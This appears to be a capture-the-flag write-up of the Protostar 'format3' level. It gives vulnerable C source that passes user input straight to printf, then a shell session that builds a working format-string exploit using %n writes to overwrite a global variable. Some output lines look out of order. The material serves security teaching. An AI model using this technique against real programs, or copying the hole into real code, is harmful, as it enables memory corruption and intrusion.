About
Source code
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
<...>
bffff614
you have modified the target :)
0.bffff5e0.b7fd7ff4.0.0.bffff7e8.804849d.bffff5e0.200.b7fd8420.bffff624.80496f4.
target is 00000000 :(
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08"+"%11$x%12$n"' | ./format3
bffff624
target is 00000014 :(
user@protostar:/opt/protostar/bin$ python -c 'print 0x44-(0x14-0x8)'
56
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08"+"%11$56x%12$n"' | ./format3
bffff624
target is 00000044 :(
17
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08"+"%11$56x%12$n"+"%12$17x%13$n"' | ./format3
bffff624 80496f4
target is 00005544 :(
user@protostar:/opt/protostar/bin$ python -c 'print 0x102-0x55'
173
user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08"+"%11$56x%12$n"+"%12$17x%13$n"+"%13$173x%14$n"' | ./format3
bffff624 80496f4 80496f5
you have modified the target :)